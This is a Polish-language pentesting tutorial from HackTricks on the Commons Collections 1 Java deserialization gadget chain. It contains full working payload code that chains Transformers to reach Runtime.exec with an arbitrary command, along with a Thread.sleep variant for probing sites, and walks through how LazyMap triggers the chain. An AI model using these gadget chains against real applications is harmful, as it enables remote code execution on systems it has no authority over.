hacktricks/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
2024-02-11 01:46:25 +00:00

9.9 KiB

CommonsCollection1 Payload - Java Transformers do Rutime exec() i Thread Sleep

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Java Transformers do Rutime exec()

W wielu miejscach można znaleźć ładunek deserializacji Javy, który wykorzystuje transformery z Apache common collections, tak jak w poniższym przykładzie:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Jeśli nie wiesz nic o ładunkach deserializacji w języku Java, może być trudno zrozumieć, dlaczego ten kod uruchamia kalkulator.

Po pierwsze, musisz wiedzieć, że Transformer w Javie to coś, co otrzymuje klasę i przekształca ją w inną.
Warto również wiedzieć, że wykonywany ładunek tutaj jest równoważny z:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

Lub dokładniej, to co zostanie wykonane na końcu to:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Jak

Więc, jak pierwszy payload jest równoważny tym "prostym" jednolinijkowcom?

Po pierwsze, można zauważyć w payloadzie, że tworzony jest łańcuch (tablica) transformacji:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Jeśli przeczytasz kod, zauważysz, że jeśli w jakiś sposób połączysz transformację tablicy, będziesz w stanie wykonać dowolne polecenia.

Więc, jak te transformacje są łączone?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

W ostatniej sekcji ładunku można zobaczyć, że tworzony jest obiekt Map. Następnie, funkcja decorate jest wywoływana z obiektem mapy i połączonymi transformatorami z LazyMap. Z poniższego kodu można zobaczyć, że spowoduje to skopiowanie połączonych transformatorów do atrybutu lazyMap.factory:

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

I następnie wykonuje się wielkie finałowe polecenie: lazyMap.get("anything");

Oto kod funkcji get:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

A oto kod funkcji transform:

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Więc pamiętaj, że wewnątrz fabryki zapisaliśmy chainedTransformer, a wewnątrz funkcji transform przechodzimy przez wszystkie te połączone transformery i wykonujemy je jeden po drugim. Śmieszne jest to, że każdy transformer używa object jako wejścia, a object jest wynikiem ostatniego wykonanego transformera. Dlatego wszystkie transformacje są połączone i wykonują złośliwy payload.

Podsumowanie

Na końcu, ze względu na to, jak lazyMap zarządza połączonymi transformatorami wewnątrz metody get, jest to tak, jakbyśmy wykonywali następujący kod:

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Zauważ, że value jest wejściem każdej transformacji i wyjściem poprzedniej transformacji, co umożliwia wykonanie jednolinijkowca:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Zauważ, że tutaj wyjaśniono używane gadżety dla ładunku ComonsCollections1. Ale nie jest wyjaśnione, jak to wszystko się zaczyna wykonywać. Możesz zobaczyć tutaj, że ysoserial, w celu wykonania tego ładunku, używa obiektu AnnotationInvocationHandler, ponieważ kiedy ten obiekt zostanie zdeserializowany, wywoła funkcję payload.get(), która wykona cały ładunek.

Java Thread Sleep

Ten ładunek może być przydatny do identyfikacji podatności witryny, ponieważ spowoduje opóźnienie, jeśli taka podatność istnieje.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Więcej gadżetów

Więcej gadżetów można znaleźć tutaj: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!